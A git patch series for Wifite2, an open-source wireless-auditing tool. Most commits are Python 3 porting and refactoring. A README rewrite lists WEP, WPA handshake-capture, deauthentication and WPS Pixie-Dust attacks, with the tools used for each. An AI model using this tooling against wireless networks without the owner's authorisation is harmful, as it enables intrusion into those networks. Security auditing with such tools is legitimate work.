+- wifite/tools/reaver.py | 2 +- wifite/tools/tshark.py | 2 +- wifite/tools/wash.py | 3 ++- wifite/util/color.py | 6 +++--- wifite/util/crack.py | 1 + wifite/util/input.py | 17 +++++++++++++++++ wifite/util/process.py | 24 ++++++++++++++++++------ wifite/util/scanner.py | 5 +++-- wifite/wifite.py | 27 ++++++++++++++------------- 23 files changed, 103 insertions(+), 63 deletions(-) create mode 100644 wifite/util/input.py diff --git a/wifite/args.py b/wifite/args.py index c78c5071a..4e5918530 100755 --- a/wifite/args.py +++ b/wifite/args.py @@ -1,7 +1,7 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- -from util.color import Color +from .util.color import Color import argparse, sys @@ -366,11 +366,11 @@ def _add_command_args(self, commands): help=Color.s('Show commands to crack a captured handshake')) if __name__ == '__main__': - from util.color import Color + from .util.color import Color from config import Configuration Configuration.initialize(False) a = Arguments(Configuration) args = a.args - for (key,value) in sorted(args.__dict__.iteritems()): + for (key,value) in sorted(args.__dict__.items()): Color.pl('{C}%s: {G}%s{W}' % (key.ljust(21),value)) diff --git a/wifite/attack/wep.py b/wifite/attack/wep.py index 39b1a0307..a97ef2eb9 100755 --- a/wifite/attack/wep.py +++ b/wifite/attack/wep.py @@ -8,6 +8,7 @@ from ..config import Configuration from ..model.interface import Interface from ..util.color import Color +from ..util.input import raw_input from ..model.wep_result import CrackResultWEP import time diff --git a/wifite/config.py b/wifite/config.py index e3bad55ac..6ac57a1d8 100755 --- a/wifite/config.py +++ b/wifite/config.py @@ -1,8 +1,8 @@ #!/usr/bin/python2.7 # -*- coding: utf-8 -*- -from util.color import Color -from tools.macchanger import Macchanger +from .util.color import Color +from .tools.macchanger import Macchanger import os @@ -108,7 +108,7 @@ def initialize(load_interface=True): def get_interface(): if Configuration.interface is None: # Interface wasn't defined, select it! - from tools.airmon import Airmon + from .tools.airmon import Airmon Configuration.interface = Airmon.ask() if Configuration.random_mac: Macchanger.random() @@ -117,7 +117,7 @@ def get_interface(): @staticmethod def load_from_arguments(): ''' Sets configuration values based on Argument.args object ''' - from args import Arguments + from .args import Arguments args = Arguments(Configuration).args if args.random_mac: @@ -315,7 +315,7 @@ def exit_gracefully(code=0): ''' Deletes temp and exist with the given code ''' Configuration.delete_temp() Macchanger.reset_if_changed() - from tools.airmon import Airmon + from .tools.airmon import Airmon if hasattr(Configuration, "interface") and Configuration.interface is not None and Airmon.base_interface is not None: Airmon.stop(Configuration.interface) Airmon.put_interface_up(Airmon.base_interface) @@ -328,7 +328,7 @@ def exit_gracefully(code=0): @staticmethod def dump(): ''' (Colorful) string representation of the configuration ''' - from util.color import Color + from .util.color import Color max_len = 20 for key in Configuration.__dict__.keys(): @@ -337,7 +337,7 @@ def dump(): result = Color.s('{W}%s Value{W}\n' % 'Configuration Key'.ljust(max_len)) result += Color.s('{W}%s------------------{W}\n' % ('-' * max_len)) - for (key,val) in sorted(Configuration.__dict__.iteritems()): + for (key,val) in sorted(Configuration.__dict__.items()): if key.startswith('__') or type(val) == staticmethod or val is None: continue result += Color.s("{G}%s {W} {C}%s{W}\n" % (key.ljust(max_len),val)) @@ -345,4 +345,4 @@ def dump(): if __name__ == '__main__': Configuration.initialize(False) - print Configuration.dump() + print(Configuration.dump()) diff --git a/wifite/model/client.py b/wifite/model/client.py index 51a6918c7..93645a977 100755 --- a/wifite/model/client.py +++ b/wifite/model/client.py @@ -30,7 +30,7 @@ def __init__(self, fields): def __str__(self): ''' String representation of a Client ''' result = '' - for (key,value) in self.__dict__.iteritems(): + for (key,value) in self.__dict__.items(): result += key + ': ' + str(value) result += ', ' return result @@ -39,4 +39,4 @@ def __str__(self): if __name__ == '__main__': fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:43:47, 2015-05-27 19:43:47, -67, 2, (not associated) ,HOME-ABCD'.split(',') c = Client(fields) - print c + print('Client', c) diff --git a/wifite/model/handshake.py b/wifite/model/handshake.py index 609c0aa34..77fac0303 100755 --- a/wifite/model/handshake.py +++ b/wifite/model/handshake.py @@ -186,7 +186,7 @@ def tshark_handshakes(self): bssids = set() # Check if we have all 4 messages for the handshake between the same MACs - for (client_target, num) in target_client_msg_nums.iteritems(): + for (client_target, num) in target_client_msg_nums.items(): if num == 4: # We got a handshake! bssid = client_target.split(',')[0] @@ -358,7 +358,6 @@ def print_pairs(pairs, capfile, tool=None): if __name__ == '__main__': hs = Handshake('./tests/files/handshake_exists.cap', bssid='A4:2B:8C:16:6B:3A') - hs.analyze() - print "has_hanshake() =", hs.has_handshake() + print("has_hanshake() =", hs.has_handshake()) diff --git a/wifite/model/interface.py b/wifite/model/interface.py index 9fd8595f2..007f58bfb 100755 --- a/wifite/model/interface.py +++ b/wifite/model/interface.py @@ -98,4 +98,4 @@ def get_mac(iface=None): if __name__ == '__main__': mac = Interface.get_mac() - print 'wlan0mon mac address:', mac + print('wlan0mon mac address:', mac) diff --git a/wifite/model/result.py b/wifite/model/result.py index 10d76774e..d37bb62a0 100755 --- a/wifite/model/result.py +++ b/wifite/model/result.py @@ -31,7 +31,7 @@ def save(self): text = fid.read() try: json = loads(text) - except Exception, e: + except Exception as e: Color.pl('{!} error while loading %s: %s' % (name, str(e))) json.append(self.to_dict()) with open(name, 'w') as fid: diff --git a/wifite/model/target.py b/wifite/model/target.py index 39c3f976f..3d79c87bf 100755 --- a/wifite/model/target.py +++ b/wifite/model/target.py @@ -147,5 +147,5 @@ def to_str(self, show_bssid=False): t = Target(fields) t.clients.append("asdf") t.clients.append("asdf") - print t.to_str() + print(t.to_str()) diff --git a/wifite/model/wpa_result.py b/wifite/model/wpa_result.py index dbdea7811..153686c1c 100755 --- a/wifite/model/wpa_result.py +++ b/wifite/model/wpa_result.py @@ -45,8 +45,8 @@ def to_dict(self): w.dump() w = CrackResultWPA('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'Key') - print '\n' + print('\n') w.dump() w.save() - print w.__dict__['bssid'] + print(w.__dict__['bssid']) diff --git a/wifite/tools/aircrack.py b/wifite/tools/aircrack.py index 04364af31..6f69fcd4f 100755 --- a/wifite/tools/aircrack.py +++ b/wifite/tools/aircrack.py @@ -2,6 +2,7 @@ # -*- coding: utf-8 -*- from ..util.process import Process +from ..util.input import xrange from ..config import Configuration import os @@ -80,17 +81,17 @@ def __del__(self): Configuration.initialize(False) ivs_file = 'tests/files/wep-crackable.ivs' - print "Running aircrack on %s ..." % ivs_file + print("Running aircrack on %s ..." % ivs_file) aircrack = Aircrack(ivs_file) while aircrack.is_running(): sleep(1) assert aircrack.is_cracked(), "Aircrack should have cracked %s" % ivs_file - print "aircrack process completed." + print("aircrack process completed.") (hexkey, asciikey) = aircrack.get_key_hex_ascii() - print "aircrack found HEX key: (%s) and ASCII key: (%s)" % (hexkey, asciikey) + print("aircrack found HEX key: (%s) and ASCII key: (%s)" % (hexkey, asciikey)) assert hexkey == '75:6E:63:6C:65', 'hexkey was "%s", expected "75:6E:63:6C:65"' % hexkey assert asciikey == 'uncle', 'asciikey was "%s", expected "uncle"' % asciikey diff --git a/wifite/tools/aireplay.py b/wifite/tools/aireplay.py index b9c1e014f..565bb31a9 100755 --- a/wifite/tools/aireplay.py +++ b/wifite/tools/aireplay.py @@ -29,7 +29,7 @@ def __init__(self, var): self.value = None self.name = None if type(var) is int: - for (name,value) in WEPAttackType.__dict__.iteritems(): + for (name,value) in WEPAttackType.__dict__.items(): if type(value) is int: if value == var: self.name = name @@ -37,7 +37,7 @@ def __init__(self, var): return raise Exception("Attack number %d not found" % var) elif type(var) is str: - for (name,value) in WEPAttackType.__dict__.iteritems(): + for (name,value) in WEPAttackType.__dict__.items(): if type(value) is int: if name == var: self.name = name @@ -438,12 +438,12 @@ def fakeauth(target, timeout=5, num_attempts=3): if __name__ == '__main__': t = WEPAttackType(4) - print t.name, type(t.name), t.value + print(t.name, type(t.name), t.value) t = WEPAttackType('caffelatte') - print t.name, type(t.name), t.value + print(t.name, type(t.name), t.value) t = WEPAttackType(t) - print t.name, type(t.name), t.value + print(t.name, type(t.name), t.value) from ..model.target import Target fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',') @@ -455,13 +455,13 @@ def fakeauth(target, timeout=5, num_attempts=3): from time import sleep sleep(0.1) stdout, stderr = aireplay.get_output() - print "STDOUT>", stdout - print "STDERR>", stderr + print("STDOUT>", stdout) + print("STDERR>", stderr) ''' ''' forge = Aireplay.forge_packet('/tmp/replay_dec-0605-060243.xor', \ 'A4:2B:8C:16:6B:3A', \ '00:C0:CA:4E:CA:E0') - print forge + print(forge) ''' diff --git a/wifite/tools/airmon.py b/wifite/tools/airmon.py index ad782e773..feb3bedc8 100755 --- a/wifite/tools/airmon.py +++ b/wifite/tools/airmon.py @@ -4,6 +4,7 @@ from ..model.interface import Interface from ..util.process import Process from ..util.color import Color +from ..util.input import raw_input from ..config import Configuration import re @@ -28,7 +29,7 @@ def refresh(self): def print_menu(self): ''' Prints menu ''' - print Interface.menu_header() + print(Interface.menu_header()) for idx, iface in enumerate(self.interfaces, start=1): Color.pl(" {G}%d{W}. %s" % (idx, iface)) diff --git a/wifite/tools/airodump.py b/wifite/tools/airodump.py index 9966c5aca..aa79aa59b 100755 --- a/wifite/tools/airodump.py +++ b/wifite/tools/airodump.py @@ -145,7 +145,7 @@ def get_targets(self, apply_filter=True): capfile = csv_filename[:-3] + 'cap' try: Tshark.check_for_wps_and_update_targets(capfile, targets) - except Exception, e: + except Exception as e: # No tshark, or it failed. Fall-back to wash Wash.check_for_wps_and_update_targets(capfile, targets) @@ -180,8 +180,13 @@ def get_targets_from_csv(csv_filename): targets = [] import csv with open(csv_filename, 'rb') as csvopen: - lines = (line.replace('\0', '') for line in csvopen) + lines = [] + for line in csvopen: + if type(line) is bytes: line = line.decode('utf-8') + line = line.replace('\0', '') + lines.append(line) csv_reader = csv.reader(lines, delimiter=',') + hit_clients = False for row in csv_reader: # Each "row" is a list of fields for a target/client diff --git a/wifite/tools/bully.py b/wifite/tools/bully.py index 45c675aa6..103f40841 100755 --- a/wifite/tools/bully.py +++ b/wifite/tools/bully.py @@ -254,7 +254,7 @@ def get_psk_from_pin(target, pin): fields = '34:21:09:01:92:7C,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,AirLink89300,'.split(',') target = Target(fields) psk = Bully.get_psk_from_pin(target, '01030365') - print "psk", psk + print("psk", psk) ''' stdout = " [*] Pin is '11867722', key is '9a6f7997'" diff --git a/wifite/tools/reaver.py b/wifite/tools/reaver.py index 22059418b..1bf9586e0 100755 --- a/wifite/tools/reaver.py +++ b/wifite/tools/reaver.py @@ -268,7 +268,7 @@ def get_stdout(self): result = CrackResultWPS('AA:BB:CC:DD:EE:FF', ssid, pin, psk) result.dump() - print "" + print("") (pin, psk, ssid) = Reaver.get_pin_psk_ssid(new_stdout) assert pin == '11867722', 'pin was "%s", should have been "11867722"' % pin diff --git a/wifite/tools/tshark.py b/wifite/tools/tshark.py index f5f949e5f..bae07aaeb 100755 --- a/wifite/tools/tshark.py +++ b/wifite/tools/tshark.py @@ -82,6 +82,6 @@ def check_for_wps_and_update_targets(capfile, targets): # Should update 'wps' field of a target Tshark.check_for_wps_and_update_targets(test_file, targets) - print 'Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps) + print('Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps)) assert targets[0].wps == True diff --git a/wifite/tools/wash.py b/wifite/tools/wash.py index 914477d56..0807c7c28 100644 --- a/wifite/tools/wash.py +++ b/wifite/tools/wash.py @@ -69,6 +69,7 @@ def check_for_wps_and_update_targets(capfile, targets): # Should update 'wps' field of a target Wash.check_for_wps_and_update_targets(test_file, targets) - print 'Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps) + print('Target(BSSID={}).wps = {} (Expected: True)'.format(targets[0].bssid, targets[0].wps)) + assert targets[0].wps == True diff --git a/wifite/util/color.py b/wifite/util/color.py index 20abbd502..afd3bf1eb 100755 --- a/wifite/util/color.py +++ b/wifite/util/color.py @@ -63,9 +63,9 @@ def pe(text): def s(text): ''' Returns colored string ''' output = text - for (key,value) in Color.replacements.iteritems(): + for (key,value) in Color.replacements.items(): output = output.replace(key, value) - for (key,value) in Color.colors.iteritems(): + for (key,value) in Color.colors.items(): output = output.replace("{%s}" % key, value) return output @@ -96,7 +96,7 @@ def pattack(attack_type, target, attack_name, progress): if __name__ == '__main__': Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done") - print Color.s("{C}Testing{P}String{W}") + print(Color.s("{C}Testing{P}String{W}")) Color.pl("{+} Good line") Color.pl("{!} Danger") diff --git a/wifite/util/crack.py b/wifite/util/crack.py index b0c1d6f23..f77b3d3a4 100755 --- a/wifite/util/crack.py +++ b/wifite/util/crack.py @@ -3,6 +3,7 @@ from ..util.process import Process from ..util.color import Color +from ..util.input import raw_input from ..config import Configuration from ..model.result import CrackResult diff --git a/wifite/util/input.py b/wifite/util/input.py new file mode 100644 index 000000000..09d0916f1 --- /dev/null +++ b/wifite/util/input.py @@ -0,0 +1,17 @@ +#!/usr/bin/python2.7 +# -*- coding: utf-8 -*- + +# Fix for raw_input on python3: https://stackoverflow.com/a/7321970 +try: + input = raw_input +except NameError: + pass + +raw_input = input + +try: + range = xrange +except NameError: + pass + +xrange = range diff --git a/wifite/util/process.py b/wifite/util/process.py index a9564ddb6..5e1bb39e4 100755 --- a/wifite/util/process.py +++ b/wifite/util/process.py @@ -36,6 +36,11 @@ def call(command, cwd=None, shell=False): pid.wait() (stdout, stderr) = pid.communicate() + # Python 3 compatibility + if type(stdout) is bytes: stdout = stdout.decode('utf-8') + if type(stderr) is bytes: stderr = stderr.decode('utf-8') + + if Configuration.verbose > 1 and stdout is not None and stdout.strip() != '': Color.pe("{P} [stdout] %s{W}" % '\n [stdout] '.join(stdout.strip().split('\n'))) if Configuration.verbose > 1 and stderr is not None and stderr.strip() != '': @@ -114,6 +119,13 @@ def get_output(self): self.pid.wait() if self.out is None: (self.out, self.err) = self.pid.communicate() + + if type(self.out) is bytes: + self.out = self.out.decode('utf-8') + + if type(self.err) is bytes: + self.err = self.err.decode('utf-8') + return (self.out, self.err) def poll(self): @@ -151,7 +163,7 @@ def interrupt(self): self.pid.terminate() break - except OSError, e: + except OSError as e: if 'No such process' in e.__str__(): return raise e # process cannot be killed @@ -159,20 +171,20 @@ def interrupt(self): if __name__ == '__main__': p = Process('ls') - print p.stdout(), p.stderr() + print(p.stdout(), p.stderr()) p.interrupt() # Calling as list of arguments (out, err) = Process.call(['ls', '-lah']) - print out, err + print(out, err) - print '\n---------------------\n' + print('\n---------------------\n') # Calling as string (out, err) = Process.call('ls -l | head -2') - print out, err + print(out, err) - print '"reaver" exists:', Process.exists('reaver') + print('"reaver" exists:', Process.exists('reaver')) # Test on never-ending process p = Process('yes') diff --git a/wifite/util/scanner.py b/wifite/util/scanner.py index 7942a4c65..33d8eb9e8 100755 --- a/wifite/util/scanner.py +++ b/wifite/util/scanner.py @@ -3,6 +3,7 @@ from ..tools.airodump import Airodump from ..util.color import Color +from ..util.input import raw_input, xrange from ..model.target import Target from ..config import Configuration @@ -40,7 +41,7 @@ def __init__(self): try: self.targets = airodump.get_targets() - except Exception, e: + except Exception as e: break if self.found_target(): @@ -219,7 +220,7 @@ def select_targets(self): try: s = Scanner() targets = s.select_targets() - except Exception, e: + except Exception as e: Color.pl('\r {!} {R}Error{W}: %s' % str(e)) Configuration.exit_gracefully(0) for t in targets: diff --git a/wifite/wifite.py b/wifite/wifite.py index 006bbc818..b8166900a 100755 --- a/wifite/wifite.py +++ b/wifite/wifite.py @@ -2,19 +2,20 @@ # -*- coding: utf-8 -*- try: - from config import Configuration + from .config import Configuration except (ValueError, ImportError) as e: raise Exception('You may need to run wifite from the root directory (which includes README.md)') -from util.scanner import Scanner -from util.process import Process -from util.color import Color -from util.crack import CrackHandshake -from attack.wep import AttackWEP -from attack.wpa import AttackWPA -from attack.wps import AttackWPS -from model.result import CrackResult -from model.handshake import Handshake +from .util.scanner import Scanner +from .util.process import Process +from .util.color import Color +from .util.crack import CrackHandshake +from .util.input import raw_input +from .attack.wep import AttackWEP +from .attack.wpa import AttackWPA +from .attack.wps import AttackWPS +from .model.result import CrackResult +from .model.handshake import Handshake import json import os @@ -95,7 +96,7 @@ def check_handshake(self, capfile): Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n') try: capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')] - except OSError, e: + except OSError as e: capfiles = [] if len(capfiles) == 0: Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n') @@ -173,7 +174,7 @@ def run(self): try: attack.run() - except Exception, e: + except Exception as e: Color.pl("\n{!} {R}Error: {O}%s" % str(e)) if Configuration.verbose > 0 or True: Color.pl('\n{!} {O}Full stack trace below') @@ -234,7 +235,7 @@ def run(): try: w.main() - except Exception, e: + except Exception as e: Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e)) if Configuration.verbose > 0 or True: From 72382cf381a46d26a0d163c0a6b6e865990d98da Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 31 Mar 2018 23:36:53 -0400 Subject: [PATCH 11/52] Updating README for latest developments. --- README.md | 101 ++++++++++++++++++++++++++++++++++++++++++------------ 1 file changed, 80 insertions(+), 21 deletions(-) diff --git a/README.md b/README.md index f4c39cb00..92788300a 100644 --- a/README.md +++ b/README.md @@ -1,38 +1,92 @@ Wifite 2 ======== + A complete re-write of [`wifite`](https://github.com/derv82/wifite), a Python script for auditing wireless networks. -What's new? ------------ -* Cleaner process management -- No longer leaves processes running in the background. -* UX: Target access points are refreshed every second instead of every 5 seconds. -* UX: Displays realtime Power level (in db) of currently-attacked target -* No more WPS PIN attack (which can take days on-average). But the Pixie-Dust attack is still around. -* Development: Lots of files instead of "one big script". +Wifite runs existing wireless-auditing tools for you. Stop memorizing command arguments & switches! + +What's new in Wifite2? +---------------------- + +* **Less bugs** + * Cleaner process management. Does not leave processes running in the background (the old `wifite` was bad about this). + * No longer "one monolithic script". Has working unit tests. Pull requests are less-painful! +* **Speed** + * Target access points are refreshed every second instead of every 5 seconds. +* **Accuracy** + * Displays realtime Power level of currently-attacked target. + * Displays more information during an attack (e.g. % during WEP chopchop attacks, Pixie-Dust step index, etc) +* **Educational** + * The `--verbose` option (expandable to `-vv` or `-vvv`) shows which commands are executed & the output of those commands. + * This can help debug why Wifite is not working for you. Or so you can learn how these tools are used. +* Actively developed (as of March 2018). +* Python 3 support. +* Sweet new ASCII banner. + +What's gone in Wifite2? +----------------------- + +* No more WPS PIN attack, because it can take days on-average. + * However, the Pixie-Dust attack is still an option. +* Some command-line arguments (`--wept`, `--wpst`, and other confusing switches). + * You can still access some of these, try `./Wifite.py -h -v` What's not new? --------------- -* Backwards compatibility with the original `wifite`'s arguments. + +* (Mostly) Backwards compatibile with the original `wifite`'s arguments. * Same text-based interface everyone knows and loves. Brief Feature List ------------------ -* Reaver Pixie-Dust attack (`--wps-only`) -* WPA handshake capture (`--no-wps`) -* Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` -* Various WEP attacks (replay, chopchop, fragment, etc) -* 5Ghz support for wireless cards that support 5ghz (use `-5` option) -* Stores cracked passwords and handshakes to the current directory, with metadata about the access point (via `--cracked` command). -* Decloaks hidden access points when channel is fixed (use `-c ` option) -* Provides commands to crack captured WPA handshakes (via `--crack` command) -Support -------- -Wifite2 is designed entirely for the latest version of Kali Rolling release (tested on Kali 2017.2, updated Jan 2018). +* Reaver (or `-bully`) Pixie-Dust attack (enabled by-default, force with: `--wps-only`) +* WPA handshake capture (enabled by-default, force with: `--no-wps`) +* Validates handshakes against `pyrit`, `tshark`, `cowpatty`, and `aircrack-ng` (when available) +* Various WEP attacks (replay, chopchop, fragment, hirte, p0841, caffe-latte) +* Automatically decloaks hidden access points while scanning or attacking. + * Note: Only works when channel is fixed. Use the `-c ` switch. + * Disable this via `--no-deauths` switch +* 5Ghz support for some wireless cards (via `-5` switch). + * Note: Some tools don't play well on 5GHz channels (e.g. `aireplay-ng`) +* Stores cracked passwords and handshakes to the current directory (`--cracked`) + * Includes metadata about the access point. +* Provides commands to crack captured WPA handshakes (`--crack`) + * Includes all commands needed to crack using `aircrack-ng`, `john`, `hashcat`, or `pyrit`. + +Linux Distribution Support +-------------------------- + +Wifite2 is designed specifically for the latest version of **Kali**'s rolling release (tested on Kali 2017.2, updated Jan 2018). -This means only the latest versions of these programs are supported: Aircrack-ng suite, reaver, tshark, cowpatty. +Other pen-testing distributions (such as BackBox) have outdated versions of the tools used by Wifite; these distributions are not supported. -Other pen-testing distributions (such as BackBox) have outdated versions of these suites; these distributions are not supported. +Required Tools +-------------- + +Only the latest versions of these programs are supported: + +**Required:** + +* `iwconfig`: For identifying wireless devices already in Monitor Mode. +* `ifconfig`: For starting/stopping wireless devices. +* `Aircrack-ng` suite, includes: + * `aircrack-ng`: For cracking WEP .cap files and and WPA handshake captures. + * `aireplay-ng`: For deauthing access points, replaying capture files, various WEP attacks. + * `airmon-ng`: For enumerating and enabling Monitor Mode on wireless devices. + * `airodump-ng`: For target scanning & capture file generation. + * `packetforge-ng`: For forging capture files. + +**Optional, but Recommended:** + +* `tshark`: For detecting WPS networks and inspecting handshake capture files. +* `reaver`: For WPS Pixie-Dust attacks. + * Note: Reaver's `wash` tool can be used to detect WPS networks if `tshark` is not found. +* `bully`: For WPS Pixie-Dust attacks. + * Alternative to Reaver. Specify `--bully` to use Bully instead of Reaver. + * Bully is also used to fetch PSK if `reaver` cannot after cracking WPS PIN. +* `cowpatty`: For detecting handshake captures. +* `pyrit`: For detecting handshake captures. Installing & Running -------------------- @@ -45,6 +99,11 @@ cd wifite2 Screenshots ----------- +Cracking WPS PIN using `reaver`'s Pixie-Dust attack, then retrieving WPA PSK using `bully`: +![Pixie-Dust with Reaver to get PIN and Bully to get PSK](https://i.imgur.com/I2W0wND.gif) + +------------- + Decloaking & cracking a hidden access point (via the WPA Handshake attack): ![Decloaking and Cracking a hidden access point](http://i.imgur.com/MTMwSzM.gif) From acc8e296d56bda6ed8dc9230bb499b3bf56d4609 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sat, 31 Mar 2018 23:59:50 -0400 Subject: [PATCH 12/52] Dim the [+] box colors --- wifite/util/color.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/wifite/util/color.py b/wifite/util/color.py index afd3bf1eb..747813d04 100755 --- a/wifite/util/color.py +++ b/wifite/util/color.py @@ -21,7 +21,7 @@ class Color(object): # Helper string replacements replacements = { - '{+}': ' {W}[{G}+{W}]', + '{+}': ' {W}{D}[{W}{G}+{W}{D}]{W}', '{!}': ' {O}[{R}!{O}]{W}', '{?}': ' {W}[{C}?{W}]' } From a2dbf4c382613c9c8d9ef0a8fa46ee5cc6f23710 Mon Sep 17 00:00:00 2001 From: derv82 Date: Sun, 1 Apr 2018 00:37:28 -0400 Subject: [PATCH 13/52] Moving Tshark logic into /tools/tshark.py Added tests for analyzing handshakes --- wifite/model/handshake.py | 190 +++++++++----------------------------- wifite/tools/tshark.py | 133 ++++++++++++++++++++++++++ 2 files changed, 177 insertions(+), 146 deletions(-) diff --git a/wifite/model/handshake.py b/wifite/model/handshake.py index 77fac0303..e017032fd 100755 --- a/wifite/model/handshake.py +++ b/wifite/model/handshake.py @@ -3,9 +3,9 @@ from ..util.process import Process from ..util.color import Color +from ..tools.tshark import Tshark -import re -import os +import re, os class Handshake(object): def __init__(self, capfile, bssid=None, essid=None): @@ -18,15 +18,15 @@ def divine_bssid_and_essid(self): Tries to find BSSID and ESSID from cap file. Sets this instances 'bssid' and 'essid' instance fields. ''' + # Get list of bssid/essid pairs from cap file - pairs = self.tshark_bssid_essid_pairs() + pairs = Tshark.bssid_essid_pairs(self.capfile, bssid=self.bssid) + if len(pairs) == 0: - # Find bssid/essid pairs that have handshakes in Pyrit - pairs = self.pyrit_handshakes() + pairs = self.pyrit_handshakes() # Find bssid/essid pairs that have handshakes in Pyrit if len(pairs) == 0 and not self.bssid and not self.essid: - # Tshark and Pyrit failed us, nothing else we can do. - raise Exception("Cannot find BSSID or ESSID in cap file") + raise Exception("Cannot find BSSID or ESSID in cap file") # Tshark and Pyrit failed us, nothing else we can do. if not self.essid and not self.bssid: # We do not know the bssid nor the essid @@ -34,10 +34,8 @@ def divine_bssid_and_essid(self): # HACK: Just use the first one we see self.bssid = pairs[0][0] self.essid = pairs[0][1] - Color.pl('{!} {O}Warning{W}:' + - ' {O}Arbitrarily selected' + - ' {R}bssid{O} {C}%s{O} and {R}essid{O} "{C}%s{O}"{W}' - % (self.bssid, self.essid)) + Color.pl('{!} {O}Warning{W}: {O}Arbitrarily selected ' + + '{R}bssid{O} {C}%s{O} and {R}essid{O} "{C}%s{O}"{W}' % (self.bssid, self.essid)) elif not self.bssid: # We already know essid @@ -59,140 +57,23 @@ def has_handshake(self): if not self.bssid or not self.essid: self.divine_bssid_and_essid() - if len(self.tshark_handshakes()) > 0: - return True - - if len(self.pyrit_handshakes()) > 0: - return True - - if len(self.cowpatty_handshakes()) > 0: - return True + if len(self.tshark_handshakes()) > 0: return True + if len(self.pyrit_handshakes()) > 0: return True - if len(self.aircrack_handshakes()) > 0: - return True + # TODO: Can we trust cowpatty & aircrack? + #if len(self.cowpatty_handshakes()) > 0: return True + #if len(self.aircrack_handshakes()) > 0: return True return False def tshark_bssid_essid_pairs(self): - ''' - Scrapes capfile for beacon frames indicating the ESSID. - Returns list of tuples: (bssid,essid) - ''' - if not Process.exists('tshark'): - return [] - - essids = set() - - # Extract beacon frames from cap file - cmd = [ - 'tshark', - '-r', self.capfile, - '-R', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05', - '-2', # tshark: -R without -2 is deprecated. - '-n' - ] - proc = Process(cmd, devnull=False) - for line in proc.stdout().split('\n'): - # Extract src, dst, and essid - mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] - match = re.search('(%s) [^ ]* (%s).*.*SSID=(.*)$' - % (mac_regex, mac_regex), line) - if match is None: - # Line doesn't contain src, dst, ssid - continue - (src, dst, essid) = match.groups() - if dst.lower() == "ff:ff:ff:ff:ff:ff": continue - if self.bssid: - # We know the BSSID, only return the ESSID for this BSSID. - if self.bssid.lower() == src.lower() or self.bssid.lower() == dst.lower(): - essids.add((src, essid)) - else: - # We do not know BSSID, add it. - essids.add((src, essid)) - # Return list of tuples - return [x for x in essids] - - - def tshark_command(self): - return [ - 'tshark', - '-r', self.capfile, - '-R', 'eapol', - '-n', - '-2' # 2-pass filtering, required when using -R in newer versions of tshark - ] + '''Returns list of tuples: (bssid,essid) found in capfile''' def tshark_handshakes(self): ''' Returns True if tshark identifies a handshake, False otherwise ''' - if not Process.exists('tshark'): - return [] - - target_client_msg_nums = {} - - # Dump EAPOL packets - proc = Process(self.tshark_command(), devnull=False) - for line in proc.stdout().split('\n'): - # Extract source mac, destination mac, and message numbers - mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1] - match = re.search('(%s) (?:->|→) (%s).*Message.*(\d).*(\d)' - % (mac_regex, mac_regex), line) - if match is None: - # Line doesn't contain src, dst, Message numbers - continue - (src, dst, index, ttl) = match.groups() - # "Message (index) of (ttl)" - index = int(index) - ttl = int(ttl) - - if ttl != 4: - # Must be a 4-way handshake - continue - - # Identify the client and target MAC addresses - if index % 2 == 1: - # First and Third messages - target = src - client = dst - else: - # Second and Fourth messages - client = src - target = dst - - if self.bssid and self.bssid.lower() != target.lower(): - # We know the BSSID and this msg was not for the target - continue - - target_client_key = '%s,%s' % (target, client) - - # Ensure all 4 messages are: - # Between the same client and target - # In numeric & chronological order (1,2,3,4) - if index == 1: - # First message, add to dict - target_client_msg_nums[target_client_key] = 1 - - elif target_client_key not in target_client_msg_nums: - # Not first message, we haven't gotten the first message yet - continue - - elif index - 1 != target_client_msg_nums[target_client_key]: - # Message is not in sequence - continue - - else: - # Message is > 1 and is received in-order - target_client_msg_nums[target_client_key] = index - - bssids = set() - # Check if we have all 4 messages for the handshake between the same MACs - for (client_target, num) in target_client_msg_nums.items(): - if num == 4: - # We got a handshake! - bssid = client_target.split(',')[0] - bssids.add(bssid) - - return [(bssid, None) for bssid in bssids] + tshark_bssids = Tshark.bssids_with_handshakes(self.capfile, bssid=self.bssid) + return [(bssid, None) for bssid in tshark_bssids] def cowpatty_command(self): @@ -259,8 +140,7 @@ def pyrit_handshakes(self): current_essid = essid hit_target = True else: - # This AccessPoint is not what we're looking for - hit_Target = False + hit_Target = False # This AccessPoint is not what we're looking for else: # Line does not contain AccessPoint if hit_target and ', good' in line: @@ -268,19 +148,22 @@ def pyrit_handshakes(self): return [x for x in bssid_essid_pairs] - def aircrack_command(self): - return 'echo "" | aircrack-ng -a 2 -w - -b %s "%s"' % (self.bssid, self.capfile) - def aircrack_handshakes(self): + '''Returns tuple (BSSID,None) if aircrack thinks self.capfile contains a handshake / can be cracked''' if not self.bssid: - return [] - (stdout, stderr) = Process.call(self.aircrack_command()) + return [] # Aircrack requires BSSID + + command = 'echo "" | aircrack-ng -a 2 -w - -b %s "%s"' % (self.bssid, self.capfile) + (stdout, stderr) = Process.call(command) + if 'passphrase not in dictionary' in stdout.lower(): return [(self.bssid, None)] else: return [] + def analyze(self): + '''Prints analysis of handshake capfile''' self.divine_bssid_and_essid() pairs = self.tshark_handshakes() @@ -314,8 +197,7 